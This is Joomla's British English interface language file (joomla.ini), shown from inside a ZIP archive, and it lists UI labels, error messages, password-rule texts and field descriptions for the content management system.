PK!"Jddlanguage/en-GB/joomla.ininu[; Joomla! Project ; (C) 2020 Open Source Matters, Inc. ; License GNU General Public License version 2 or later; see LICENSE.txt ; Note : All ini files need to be saved as UTF-8 ; Common boolean values ; Note: YES, NO, TRUE, FALSE are reserved words in INI format. ; Keep this string on top JERROR_PARSING_LANGUAGE_FILE=" : error(s) in line(s) %s" J1="1" J2="2" J3="3" J4="4" J5="5" J6="6" J7="7" J8="8" J9="9" J10="10" J15="15" J20="20" J25="25" J30="30" J50="50" J75="75" J100="100" J150="150" J200="200" J250="250" J300="300" J500="500" JH1="h1" JH2="h2" JH3="h3" JH4="h4" JH5="h5" JH6="h6" ERROR="Error" INFO="Info" MESSAGE="Message" NOTICE="Notice" WARNING="Warning" JACTIONS="Actions for: %s" JADMINISTRATION="Administration" JADMINISTRATOR="Administrator" JALIAS="Alias" JALL="All" JALL_LANGUAGE="All" JAPI="API" JAPPLY="Save" JARCHIVED="Archived" JASSOCIATIONS_ASC="Associations ascending" JASSOCIATIONS_DESC="Associations descending" JAUTHOR="Author" JAUTHOR_ASC="Author ascending" JAUTHOR_DESC="Author descending" JCANCEL="Cancel" JCATEGORIES="Categories" JCATEGORY="Category" JCATEGORY_ASC="Category ascending" JCATEGORY_DESC="Category descending" JCATEGORY_SPRINTF="Category: %s" JCLEAR="Clear" JCLIENT="Location" JCLOSE="Close" JCONFIG_PERMISSIONS_DESC="Permissions for this component unless they are changed for a specific item." JCONFIG_PERMISSIONS_LABEL="Permissions" JCURRENT="Current" JDATE="Date" JDATE_ASC="Date ascending" JDATE_DESC="Date descending" JDAY="Day" JDEFAULT="Default" JDEFAULTLANGUAGE="Language - Default" JDETAILS="Details" JDISABLED="Disabled" JENABLED="Enabled" JFALSE="False" JFEATURE="Feature" JFEATURED="Featured" JFEATURED_ASC="Featured ascending" JFEATURED_DESC="Featured descending" JHELP="Help" JHIDE="Hide" JHIDEPASSWORD="Hide Password" JINVALID_TOKEN="The most recent request was denied because it had an invalid security token. Please refresh the page and try again." JINVALID_TOKEN_NOTICE="The security token did not match. The request was cancelled to prevent any security breach. Please try again." JLOGIN="Log in" JLOGOUT="Log out" JMENU_MULTILANG_WARNING_MISSING_MODULES="An administrator menu module for %s does not exist.
Create a custom administrator menu and module for each administrator language or publish a menu module set to All languages." JMODIFY="Modify" JMONTH="Month" JMONTH_PUBLISHED="Month (published)" JNEVER="Never" JNEXT="Next" JNEXT_TITLE="Next article: %s" JNO="No" JNONE="None" JOFF="Off" JOK="OK" JON="On" JONLY="Only" JOPEN="Open" JOPTIONS="Options" JORDERINGDISABLED="Please sort by order to enable reordering" JPREV="Prev" JPREVIOUS="Previous" JPREVIOUS_TITLE="Previous article: %s" JPROTECTED="Protected" JPUBLISHED="Published" JRECORD_NUMBER="Record Number" JREGISTER="Register" JRESET="Reset" JSAVE="Save & Close" JSELECT="Select" JSHOW="Show" JSHOWPASSWORD="Show Password" JSITE="Site" JSITEADMIN="Select Client" JSTAGE="Stage" JSTAGE_ASC="Stage ascending" JSTAGE_DESC="Stage descending" JSTATUS="Status" JSTATUS_ASC="Status ascending" JSTATUS_DESC="Status descending" JSUBMIT="Submit" JTAG="Tags" JTAG_FIELD_SELECT_DESC="Select the tag to use." JTOOLBAR="Toolbar" JTRASH="Trash" JTRASHED="Trashed" JTRUE="True" JUNARCHIVE="Remove from archive status" JUNDEFINED="Undefined" JUNFEATURE="Unfeature" JUNFEATURED="Unfeatured" JUNPROTECTED="Unprotected" JUNPUBLISHED="Unpublished" JVERSION="Version" JVISIT_LINK="Visit Link" JVISIT_WEBSITE="Visit Website" JYEAR="Year" JYES="Yes" JACTION_ADMIN="Configure ACL & Options" JACTION_ADMIN_GLOBAL="Super User" JACTION_COMPONENT_SETTINGS="Component Settings" JACTION_CREATE="Create" JACTION_DELETE="Delete" JACTION_EDIT="Edit" JACTION_EDIT_MODULE="Edit the '%s' module" JACTION_EDITOWN="Edit Own" JACTION_EDITSTATE="Edit State" JACTION_EDITVALUE="Edit Custom Field Value" JACTION_EXECUTETRANSITION="Execute Transition" JACTION_LOGIN_ADMIN="Administrator Login" JACTION_LOGIN_API="Web Services Login" JACTION_LOGIN_OFFLINE="Offline Access" JACTION_LOGIN_SITE="Site Login" JACTION_MANAGE="Access Administration Interface" JACTION_MANAGEWORKFLOW="Manage Workflows" JACTION_OPTIONS="Configure Options" JACTION_UNPUBLISH="Unpublish" JBROWSERTARGET_DOWNLOAD="Download %s in new window" JBROWSERTARGET_MODAL="Modal" JBROWSERTARGET_NEW="Open in new window" JBROWSERTARGET_NEW_TITLE="Open %s in new window" JBROWSERTARGET_PARENT="Open in parent window" JBROWSERTARGET_POPUP="Open in popup" JENFORCE_2FA_REDIRECT_MESSAGE="You were redirected because you are required to set up Two Factor Authentication to continue." JERROR_ALERTNOAUTHOR="You don't have permission to access this. Please contact a website administrator if this is incorrect." JERROR_ALERTNOTEMPLATE="The template for this display is not available." JERROR_AN_ERROR_HAS_OCCURRED="An error has occurred." JERROR_CORE_CREATE_NOT_PERMITTED="Create not permitted." JERROR_CORE_DELETE_NOT_PERMITTED="Delete not permitted." JERROR_COULD_NOT_FIND_TEMPLATE="Could not find template \"%s\"." JERROR_INVALID_CONTROLLER="Invalid controller" JERROR_INVALID_CONTROLLER_CLASS="Invalid controller class" JERROR_LAYOUT_PREVIOUS_ERROR="Previous Error" JERROR_LOADFILE_FAILED="Error loading form file" JERROR_LOADING_MENUS="Error loading Menus: %s" JERROR_LOGIN_DENIED="You do not have access to the Administrator section of this site." JERROR_NO_ITEMS_SELECTED="No item(s) selected." JERROR_NOLOGIN_BLOCKED="Login denied! Your account has either been blocked or you have not activated it yet." JERROR_SAVE_FAILED="Could not save data. Error: %s" JERROR_SENDING_EMAIL="Email could not be sent." JERROR_SESSION_STARTUP="Error starting the session." JFIELD_ACCESS_DESC="The access level group that is allowed to view this item." JFIELD_ACCESS_LABEL="Access" JFIELD_ALIAS_DESC="The Alias will be used as part of the URL." JFIELD_ALIAS_LABEL="Alias" JFIELD_ALIAS_PLACEHOLDER="Auto-generate from title" JFIELD_ALT_COMPONENT_LAYOUT_DESC="Use a layout from the supplied component view or overrides in the templates." JFIELD_ALT_LAYOUT_LABEL="Layout" ; Deprecated, will be removed with 5.0 JFIELD_ALT_MODULE_LAYOUT_DESC="Use a layout from the supplied module or overrides in the templates." JFIELD_ALT_PAGE_TITLE_DESC="An optional alternative page title to set that will change the TITLE tag in the HTML output." JFIELD_ALT_PAGE_TITLE_LABEL="Alternative Page Title" ; Deprecated, will be removed with 5.0 JFIELD_ASSET_ID_DESC="Asset ID" ; Deprecated, will be removed with 5.0 JFIELD_ASSET_ID_LABEL="Asset ID" JFIELD_BASIC_LOGIN_DESCRIPTION_LABEL="Login Description Text" JFIELD_BASIC_LOGIN_DESCRIPTION_SHOW_LABEL="Login Description" JFIELD_BASIC_LOGOUT_DESCRIPTION_LABEL="Logout Description Text" JFIELD_BASIC_LOGOUT_DESCRIPTION_SHOW_LABEL="Logout Description" JFIELD_CATEGORY_DESC="The category that this item is assigned to. You may select an existing category or enter a new category by typing the name in the field and pressing enter." JFIELD_COLOR_ERROR_CONVERT_HSL="Unable to convert HSL value" JFIELD_COLOR_ERROR_CONVERT_HUE="Unable to convert hue value" JFIELD_COLOR_ERROR_NO_COLOR="No colour value available" JFIELD_COLOR_ERROR_WRONG_FORMAT="Wrong format" JFIELD_COLOR_LABEL_SLIDER_ALPHA="Alpha Slider" JFIELD_COLOR_LABEL_SLIDER_HUE="Hue Slider" JFIELD_COLOR_LABEL_SLIDER_INPUT="Selected Colour Value" JFIELD_COLOR_LABEL_SLIDER_LIGHT="Light Slider" JFIELD_COLOR_LABEL_SLIDER_SATURATION="Saturation Slider" JFIELD_COLOR_SELECT="Select a colour" JFIELD_COLOR_TRANSPARENT="No colour, transparent" JFIELD_COLOR_VALUE="Colour with hexadecimal value of" JFIELD_DISPLAY_READONLY_LABEL="Display When Read-Only" JFIELD_ENABLED_DESC="The enabled status of this item." JFIELD_FIELDS_CATEGORY_DESC="Select the category that this field is assigned to." JFIELD_LANGUAGE_DESC="Assign a language to this article." JFIELD_LANGUAGE_LABEL="Language" JFIELD_LOGIN_IMAGE_DESC="Select or upload an image to display on login page." JFIELD_LOGIN_IMAGE_LABEL="Login Image" JFIELD_LOGIN_REDIRECT_URL_DESC="If a URL is entered here, users will be redirected to it after login.
The URL must be internal (eg: index.php?Itemid=999)." JFIELD_LOGIN_REDIRECT_URL_LABEL="Login Redirect" JFIELD_LOGOUT_IMAGE_DESC="Select or upload an image to display on logout page." JFIELD_LOGOUT_IMAGE_LABEL="Logout Image" JFIELD_LOGOUT_REDIRECT_PAGE_DESC="Select or create the page the user will be redirected to after ending their current session by logging out. The default is to stay on the same page." JFIELD_LOGOUT_REDIRECT_PAGE_LABEL="Logout Redirection Page" JFIELD_LOGOUT_REDIRECT_URL_DESC="If a URL is entered here, users will be redirected to it after logout.
The URL must be internal (eg: index.php?Itemid=999)." JFIELD_LOGOUT_REDIRECT_URL_LABEL="Logout Redirect" JFIELD_MEDIA_ALT_CHECK_DESC_LABEL="Decorative Image - no description required" JFIELD_MEDIA_ALT_CHECK_LABEL="No Description" JFIELD_MEDIA_ALT_LABEL="Image Description (Alt Text)" JFIELD_MEDIA_DOWNLOAD_CHECK_DESC_LABEL="Use a download link" JFIELD_MEDIA_DOWNLOAD_CHECK_LABEL="Download" JFIELD_MEDIA_DOWNLOAD_FILE="Download {file}" ; Do not translate the text between the {} JFIELD_MEDIA_EMBED_CHECK_DESC_LABEL="Use native elements audio, video or object" JFIELD_MEDIA_EMBED_CHECK_LABEL="Embed" JFIELD_MEDIA_CLASS_LABEL="Image Class" JFIELD_MEDIA_FIGURE_CAPTION_LABEL="Figure Caption" JFIELD_MEDIA_FIGURE_CLASS_LABEL="Figure Class" JFIELD_MEDIA_HEIGHT_LABEL="Height" JFIELD_MEDIA_LAZY_LABEL="Image will be lazyloaded" JFIELD_MEDIA_SUMMARY_LABEL="Additional Data" JFIELD_MEDIA_WIDTH_LABEL="Width" JFIELD_MEDIA_TITLE_LABEL="Title" JFIELD_MEDIA_UNSUPPORTED="You don't have a {extension} plugin, but you can {tag} download the {extension} file." ; Do not translate the text between the {} JFIELD_META_DESCRIPTION_COUNTER="{remaining} characters remaining of {maxlength} characters." ; Do not translate the text between the {} JFIELD_META_DESCRIPTION_DESC="An optional paragraph to be used as the description of the page in the HTML output. This will generally display in the results of search engines." JFIELD_META_DESCRIPTION_LABEL="Meta Description" JFIELD_META_KEYWORDS_DESC="An optional comma-separated list of keywords and/or phrases to be used in the HTML output." JFIELD_META_KEYWORDS_LABEL="Keywords" JFIELD_META_RIGHTS_DESC="Describe what rights others have to use this content." JFIELD_META_RIGHTS_LABEL="Content Rights" JFIELD_METADATA_AUTHOR_DESC="The author of this content." JFIELD_METADATA_RIGHTS_DESC="Publication rights for the content." JFIELD_METADATA_RIGHTS_LABEL="Rights" JFIELD_METADATA_ROBOTS_DESC="Robots instructions." JFIELD_METADATA_ROBOTS_LABEL="Robots" JFIELD_MODULE_LANGUAGE_DESC="Assign a language to this module." JFIELD_NAME_DESC="The name will be used to identify the field. Leave this blank and Joomla will fill in a default value from the title." JFIELD_NAME_LABEL="Name" JFIELD_NAME_PLACEHOLDER="Auto-generate from title" JFIELD_NOTE_DESC="Note" JFIELD_NOTE_LABEL="Note" JFIELD_OPTION_NONE="None" JFIELD_ORDERING_DESC="Select the ordering." JFIELD_ORDERING_LABEL="Ordering" JFIELD_PARAMS_LABEL="Options" JFIELD_PASSWORD_INDICATE_COMPLETE="Password accepted" JFIELD_PASSWORD_INDICATE_INCOMPLETE="Password doesn't meet site's requirements." JFIELD_PASSWORD_NOT_ENOUGH_INTEGERS_N="Password does not have enough numbers. At least %s numbers are required." JFIELD_PASSWORD_NOT_ENOUGH_INTEGERS_N_1="Password does not have enough numbers. At least 1 number is required." JFIELD_PASSWORD_NOT_ENOUGH_LOWERCASE_LETTERS_N="Password does not have enough lower case characters. At least %s lower case characters are required." JFIELD_PASSWORD_NOT_ENOUGH_LOWERCASE_LETTERS_N_1="Password does not have enough lower case characters. At least 1 lower case character is required." JFIELD_PASSWORD_NOT_ENOUGH_SYMBOLS_N="Password does not have enough symbols (such as !@#$). At least %s symbols are required." JFIELD_PASSWORD_NOT_ENOUGH_SYMBOLS_N_1="Password does not have enough symbols (such as !@#$). At least 1 symbol is required." JFIELD_PASSWORD_NOT_ENOUGH_UPPERCASE_LETTERS_N="Password does not have enough upper case characters. At least %s upper case characters are required." JFIELD_PASSWORD_NOT_ENOUGH_UPPERCASE_LETTERS_N_1="Password does not have enough upper case characters. At least 1 upper case character is required." JFIELD_PASSWORD_RULES_CHARACTERS="Characters: %d" JFIELD_PASSWORD_RULES_DIGITS="Numbers: %d" JFIELD_PASSWORD_RULES_LOWERCASE="Lower Case: %d" JFIELD_PASSWORD_RULES_MINIMUM_REQUIREMENTS="Minimum Requirements — %s" JFIELD_PASSWORD_RULES_SYMBOLS="Symbols: %d" JFIELD_PASSWORD_RULES_UPPERCASE="Upper Case: %d" JFIELD_PASSWORD_SPACES_IN_PASSWORD="Password must not have spaces at the beginning or end." JFIELD_PASSWORD_TOO_LONG="Password is too long. Passwords must be less than 100 characters." JFIELD_PASSWORD_TOO_SHORT_N="Password is too short. Passwords must have at least %s characters." JFIELD_PLG_SEARCH_ALL_DESC="Include published items in the search." JFIELD_PLG_SEARCH_ALL_LABEL="Search Published" JFIELD_PLG_SEARCH_ARCHIVED_DESC="Include archived items in the search." JFIELD_PLG_SEARCH_ARCHIVED_LABEL="Search Archived" JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC="Sets the maximum number of results to return." JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL="Search Limit" JFIELD_PUBLISHED_DESC="Set publication status." JFIELD_READMORE_DESC="Add a custom text instead of Read More." JFIELD_READMORE_LABEL="Read More Text" JFIELD_SPACER_LABEL="
" JFIELD_TITLE_DESC="Title" JFIELD_VERSION_HISTORY_DESC="This button allows you to open a window to view older versions of this item." JFIELD_VERSION_HISTORY_LABEL="Prior Versions" JFIELD_VERSION_HISTORY_SELECT="View Prior Versions" JGLOBAL_ACTION_PERMISSIONS_LABEL="Permissions" JGLOBAL_ADD_CUSTOM_CATEGORY="Add new Category" JGLOBAL_ALL_ARTICLE="Max Levels Articles" JGLOBAL_ALL_LIST="Max Levels as List" JGLOBAL_ALLOW_COMMENTS_DESC="If Yes, viewers will be able to add and view comments for the article." JGLOBAL_ALLOW_COMMENTS_LABEL="Allow Comments" JGLOBAL_ALLOW_RATINGS_DESC="If Yes, viewers will be able to add and view ratings for the article." JGLOBAL_ALLOW_RATINGS_LABEL="Allow Ratings" JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_LABEL="Intro text Limit" JGLOBAL_ARCHIVE_OPTIONS="Archive" JGLOBAL_ARTICLE_COUNT_DESC="Show or hide a count of articles in each category." JGLOBAL_ARTICLE_COUNT_LABEL="Article Count" JGLOBAL_ARTICLE_MANAGER_ORDER="Ordering" JGLOBAL_ARTICLE_MANAGER_REVERSE_ORDER="Ordering Reverse" JGLOBAL_ARTICLE_ORDER_DESC="The order that articles will show in." JGLOBAL_ARTICLE_ORDER_LABEL="Article Order" JGLOBAL_ARTICLES="Articles" JGLOBAL_ASSOC_NOT_POSSIBLE="To define associations, please make sure the item language is not set to 'All'." JGLOBAL_ASSOCIATIONS_CONTENTLANGUAGE_WARNING="Some associated items are assigned to the %s Content Language but that Content Language is trashed or deleted." JGLOBAL_ASSOCIATIONS_NEW_ITEM_WARNING="To create associations, first save the item." JGLOBAL_ASSOCIATIONS_PROPAGATE_BUTTON="Propagate" JGLOBAL_ASSOCIATIONS_PROPAGATE_FAILED="Failed propagating associations. You may have to select or create them manually." JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_ALL="All existing associations have been set." JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_NONE="No associations exist to propagate." JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_SOME="Associations have been set for: %s" JGLOBAL_ASSOCIATIONS_PROPAGATE_TIP="Propagates this item's existing associations." JGLOBAL_ASSOCIATIONS_RESET_WARNING="The language has been changed. If you save this item again it will reset the available associations. If this was not intended, close the item." JGLOBAL_AUTH_ACCESS_DENIED="Access Denied" JGLOBAL_AUTH_ACCESS_GRANTED="Access Granted" JGLOBAL_AUTH_BIND_FAILED="Failed binding to LDAP server" JGLOBAL_AUTH_CANCEL="Authentication cancelled" JGLOBAL_AUTH_CURL_NOT_INSTALLED="Curl isn't installed" JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED="Empty password not allowed." JGLOBAL_AUTH_FAIL="Authentication failed" JGLOBAL_AUTH_FAILED="Failed to authenticate: %s" JGLOBAL_AUTH_INCORRECT="Incorrect username/password" JGLOBAL_AUTH_INVALID_PASS="Username and password do not match or you do not have an account yet." JGLOBAL_AUTH_INVALID_SECRETKEY="The Multi-factor Authentication Secret Key is invalid." JGLOBAL_AUTH_NO_REDIRECT="Could not redirect to server: %s" JGLOBAL_AUTH_NO_USER="Username and password do not match or you do not have an account yet." JGLOBAL_AUTH_NOT_CONNECT="Unable to connect to authentication service." JGLOBAL_AUTH_NOT_CREATE_DIR="Could not create the FileStore folder %s. Please check the effective permissions." JGLOBAL_AUTH_PASS_BLANK="LDAP can't have blank password" JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED="Result Unknown. Access Denied" JGLOBAL_AUTH_USER_NOT_FOUND="Unable to find user." JGLOBAL_AUTHOR_ALPHABETICAL="Author Alphabetical" JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL="Author Reverse Alphabetical" JGLOBAL_AUTO="Auto" JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND="Can't find the destination parent for this move." JGLOBAL_BATCH_MOVE_ROW_NOT_FOUND="Can't find the destination row for this move." JGLOBAL_BATCH_PROCESS="Process" JGLOBAL_BATCH_WORKFLOW_STATE_ROW_NOT_FOUND="Can't find the destination row for this state change." JGLOBAL_BLOG="Blog" JGLOBAL_BLOG_CLASS="Article Class" JGLOBAL_BLOG_CLASS_LEADING="Leading Article Class" JGLOBAL_BLOG_LAYOUT_OPTIONS="Blog Layout" JGLOBAL_CATEGORIES_OPTIONS="Categories" JGLOBAL_CATEGORY_LAYOUT_DESC="Layout" JGLOBAL_CATEGORY_LAYOUT_LABEL="Choose a Layout" JGLOBAL_CATEGORY_MANAGER_ORDER="Category Order" JGLOBAL_CATEGORY_NOT_FOUND="Category not found" JGLOBAL_CATEGORY_OPTIONS="Category" JGLOBAL_CATEGORY_ORDER_DESC="The order that categories will show in." JGLOBAL_CATEGORY_ORDER_LABEL="Category Order" JGLOBAL_CENTER="Center" JGLOBAL_CHECK_ALL="Check All Items" JGLOBAL_CHOOSE_CATEGORY_DESC="Select or create a category to be displayed." JGLOBAL_CHOOSE_CATEGORY_LABEL="Choose a Category" JGLOBAL_CHOOSE_COMPONENT_DESC="Choose a component from the list." JGLOBAL_CHOOSE_COMPONENT_LABEL="Choose a component" JGLOBAL_CLICK_TO_SORT_THIS_COLUMN="Select to sort by this column" JGLOBAL_CLICK_TO_TOGGLE_STATE="Select icon to toggle state." JGLOBAL_CONFIRM_DELETE="Are you sure you want to delete? Confirming will permanently delete the selected item(s)!" JGLOBAL_COPY="(copy)" JGLOBAL_CREATED="Created" JGLOBAL_CREATED_DATE="Created Date" JGLOBAL_CUSTOM_CATEGORY="New Categories" JGLOBAL_CUSTOM_FIELDS_ENABLE_DESC="Enable the creation or editing of custom fields." JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL="Edit Custom Fields" JGLOBAL_DATE_FORMAT_DESC="Optional format string for showing the date. For example, D M Y for day month year or you can use d-m-y for a short version eg. 28-12-16. See https://php.net/date. If left blank, it uses DATE_FORMAT_LC1 from your language file." JGLOBAL_DATE_FORMAT_LABEL="Date Format" JGLOBAL_DESCRIPTION="Description" JGLOBAL_DISPLAY_NUM="Display #" JGLOBAL_DISPLAY_SELECT_DESC="Show or hide the Display Select dropdown listbox." JGLOBAL_DISPLAY_SELECT_LABEL="Display Select" JGLOBAL_EDIT_ITEM="Edit item" JGLOBAL_EDIT_PREFERENCES="Edit Preferences" JGLOBAL_EMAIL="Email" JGLOBAL_EMAIL_DOMAIN_NOT_ALLOWED="The email domain %s is not allowed. Please enter another email address." JGLOBAL_EMPTY_CATEGORIES_DESC="Show or hide categories that have no articles and no subcategories." JGLOBAL_EMPTY_CATEGORIES_LABEL="Empty Categories" JGLOBAL_ERROR_INSUFFICIENT_BATCH_INFORMATION="Insufficient information to perform the batch operation" JGLOBAL_FEED_SHOW_READMORE_DESC="Displays a "Read More" link in the news feeds if Intro Text is set to Show." JGLOBAL_FEED_SHOW_READMORE_LABEL=""Read More" Link" JGLOBAL_FEED_SUMMARY_DESC="If set to Intro Text, only the Intro Text of each article will show in the news feed. If set to Full Text, the whole article will show in the news feed." JGLOBAL_FEED_SUMMARY_LABEL="Include in Feed" JGLOBAL_FEED_TITLE="News Feeds" JGLOBAL_FIELD_ADD="Add" JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_DESC="Categories that are within this category will be displayed." JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL="Select the Top Level Category" JGLOBAL_FIELD_CATEGORIES_DESC_DESC="If you enter some text in this field, it will replace the Top Level Category Description, if it has one." JGLOBAL_FIELD_CATEGORIES_DESC_LABEL="Alternative Description" JGLOBAL_FIELD_CREATED_BY_ALIAS_DESC="Uses another name than the author's for display." JGLOBAL_FIELD_CREATED_BY_ALIAS_LABEL="Author's Alias" JGLOBAL_FIELD_CREATED_BY_DESC="The user who created this." JGLOBAL_FIELD_CREATED_BY_LABEL="Created By" JGLOBAL_FIELD_CREATED_DESC="Created Date." JGLOBAL_FIELD_CREATED_LABEL="Created Date" JGLOBAL_FIELD_FIELD_CACHETIME_DESC="The number of minutes before the cache is refreshed." JGLOBAL_FIELD_FIELD_ORDERING_DESC="Order items will be displayed in." JGLOBAL_FIELD_FIELD_ORDERING_LABEL="Order" JGLOBAL_FIELD_GROUPS="Field Groups" JGLOBAL_FIELD_ID_DESC="Record number in the database." JGLOBAL_FIELD_ID_LABEL="ID" JGLOBAL_FIELD_LAYOUT_DESC="Default layout to use for items." JGLOBAL_FIELD_LAYOUT_LABEL="Choose a Layout" JGLOBAL_FIELD_MODIFIED_BY_DESC="The user who did the last modification." JGLOBAL_FIELD_MODIFIED_BY_LABEL="Modified By" JGLOBAL_FIELD_MODIFIED_LABEL="Modified Date" JGLOBAL_FIELD_MOVE="Move" JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_DESC="Number of categories to display for each level." JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_LABEL="Number of Categories" JGLOBAL_FIELD_PUBLISH_DOWN_DESC="An optional date to stop publishing." JGLOBAL_FIELD_PUBLISH_DOWN_LABEL="Finish Publishing" JGLOBAL_FIELD_PUBLISH_UP_DESC="An optional date to start publishing." JGLOBAL_FIELD_PUBLISH_UP_LABEL="Start Publishing" JGLOBAL_FIELD_REMOVE="Remove" JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_DESC="Show description of the top level category or alternatively replace with the text from the description field found in the menu item. If using Root as the top level category, the description field has to be filled." JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL="Top Level Category Description" JGLOBAL_FIELD_VERSION_NOTE_DESC="Enter an optional note for this version of the item." JGLOBAL_FIELD_VERSION_NOTE_LABEL="Version Note" JGLOBAL_FIELDS="Fields" JGLOBAL_FIELDS_TITLE="Custom Fields" JGLOBAL_FIELDSET_ADVANCED="Advanced" JGLOBAL_FIELDSET_ASSOCIATIONS="Associations" JGLOBAL_FIELDSET_BASIC="Options" JGLOBAL_FIELDSET_CONTENT="Content" JGLOBAL_FIELDSET_DESCRIPTION="Description" JGLOBAL_FIELDSET_DISPLAY_OPTIONS="Display" JGLOBAL_FIELDSET_GLOBAL="Main Options" JGLOBAL_FIELDSET_IMAGE_OPTIONS="Images" JGLOBAL_FIELDSET_INTEGRATION="Integration" JGLOBAL_FIELDSET_METADATA_OPTIONS="Metadata" JGLOBAL_FIELDSET_OPTIONS="Options" JGLOBAL_FIELDSET_PUBLISHING="Publishing" JGLOBAL_FILTER_ATTRIBUTES_DESC="3. List additional attributes, separating each attribute name with a space or comma. For example: class,title,id." JGLOBAL_FILTER_ATTRIBUTES_LABEL="Filter Attributes3" JGLOBAL_FILTER_CLIENT="- Select Location -" JGLOBAL_FILTER_FIELD_DESC="Show or hide a filter field for the list." JGLOBAL_FILTER_FIELD_LABEL="Filter Field" JGLOBAL_FILTER_GROUPS_DESC="This sets the user groups that you want filters applied to. Other groups will have no filtering performed." JGLOBAL_FILTER_GROUPS_LABEL="Filter Groups" JGLOBAL_FILTER_TAGS_DESC="2. List additional tags, separating each tag name with a space or comma. For example: p,div,span." JGLOBAL_FILTER_TAGS_LABEL="Filter Tags2" JGLOBAL_FILTER_TYPE_DESC="

1. Forbidden List allows all tags and attributes except for those listed.
-- Tags for the Default Forbidden List include: 'applet', 'body', 'bgsound', 'base', 'basefont', 'canvas', 'embed', 'frame', 'frameset', 'head', 'html', 'id', 'iframe', 'ilayer', 'layer', 'link', 'meta', 'name', 'object', 'script', 'style', 'title', 'xml'
-- Attributes for the Default Forbidden List include: 'action', 'background', 'codebase', 'dynsrc', 'lowsrc', 'formaction'
-- You can forbid additional tags and attributes by adding to the Filter Tags and Filter Attributes fields, separating each tag or attribute name with a comma.
-- Custom Forbidden List allows you to override the Default Forbidden List. Add the tags and attributes to be forbidden in the Filter Tags and Filter Attributes fields.

Allowed List allows only the tags listed in the Filter Tags and Filter Attributes fields.

No HTML removes all HTML tags from the content when it is saved.

Please note that these settings work regardless of the editor that you are using.
Even if you are using a WYSIWYG editor, the filtering settings may strip additional tags and attributes prior to saving information in the database.

" JGLOBAL_FILTER_TYPE_LABEL="Filter Type1" JGLOBAL_FILTERED_BY="Filtered by:" JGLOBAL_FULL_TEXT="Full Text" JGLOBAL_GT=">" JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC="The maximum number of old versions of an item to save. If zero, all old versions will be saved." JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL="Maximum Versions" JGLOBAL_HITS="Hits" JGLOBAL_HITS_ASC="Hits ascending" JGLOBAL_HITS_DESC="Hits descending" JGLOBAL_INHERIT="Inherit" JGLOBAL_INTEGRATION_LABEL="Integration" JGLOBAL_INTRO_TEXT="Intro Text" JGLOBAL_ISFREESOFTWARE="%s is free software released under the GNU General Public License." JGLOBAL_ITEM_FEATURE="Feature Item" JGLOBAL_ITEM_UNFEATURE="Unfeature Item" JGLOBAL_JOOA11Y="Accessibility Check" JGLOBAL_KEEP_TYPING="Keep typing …" JGLOBAL_LANGUAGE_VERSION_NOT_PLATFORM="Language pack does not match this Joomla! version. Some strings may be missing and will be displayed in English." JGLOBAL_LEARN_MORE="Learn More" JGLOBAL_LEAST_HITS="Least Hits" JGLOBAL_LEFT="Left" JGLOBAL_LINK_AUTHOR_LABEL="Link to Author's Contact Page" JGLOBAL_LINK_CATEGORY_DESC="If set to Yes, and if Show Category is set to 'Show', the Category Title will link to a layout showing articles in that Category." JGLOBAL_LINK_CATEGORY_LABEL="Link Category" JGLOBAL_LINK_PARENT_CATEGORY_DESC="If set to Yes, and if Show Parent is set to 'Show', the Parent Category Title will link to a layout showing articles in that Category." JGLOBAL_LINK_PARENT_CATEGORY_LABEL="Link Parent Category" JGLOBAL_LINKED_INTRO_IMAGE_LABEL="Linked Intro Image" JGLOBAL_LINKED_TITLES_DESC="If set to Yes, the article title will be a link to the article." JGLOBAL_LINKED_TITLES_LABEL="Linked Titles" JGLOBAL_LIST="List" JGLOBAL_LIST_ALIAS="Alias: %s" JGLOBAL_LIST_ALIAS_NOTE="(Alias: %s, Note: %s)" JGLOBAL_LIST_AUTHOR_DESC="Show or hide the article author in the list of articles." JGLOBAL_LIST_AUTHOR_LABEL="Author" JGLOBAL_LIST_HITS_DESC="Show or hide article hits in the list of articles." JGLOBAL_LIST_HITS_LABEL="Hits" JGLOBAL_LIST_LAYOUT_OPTIONS="List Layouts" JGLOBAL_LIST_LIMIT="Select number of items per page." JGLOBAL_LIST_NAME="(Name: %s)" JGLOBAL_LIST_NAME_NOTE="(Name: %s, Note: %s)" JGLOBAL_LIST_NOTE="(Note: %s)" JGLOBAL_LIST_RATINGS_DESC="Whether to show article ratings in the list of articles." JGLOBAL_LIST_RATINGS_LABEL="Show Ratings in List" JGLOBAL_LIST_TITLE_DESC="If Show, Category Title will show in the list of categories." JGLOBAL_LIST_TITLE_LABEL="Category Title" JGLOBAL_LIST_VOTES_DESC="Whether to show article votes in the list of articles." JGLOBAL_LIST_VOTES_LABEL="Show Votes in List" JGLOBAL_LOOKING_FOR="Looking for" JGLOBAL_LT="<" JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC="The number of subcategory levels to display." JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL="Subcategory Levels" JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT="Maximum upload size: %s" JGLOBAL_MAXLEVEL_DESC="Maximum number of levels of subcategories to show." JGLOBAL_MAXLEVEL_LABEL="Subcategory Levels" JGLOBAL_MENU_SELECTION="Menu Selection" JGLOBAL_MODIFIED="Modified" JGLOBAL_MODIFIED_DATE="Modified Date" JGLOBAL_MOST_HITS="Most Hits" JGLOBAL_MOST_RECENT_FIRST="Most Recent First" JGLOBAL_MULTI_LEVEL="Multi Level" 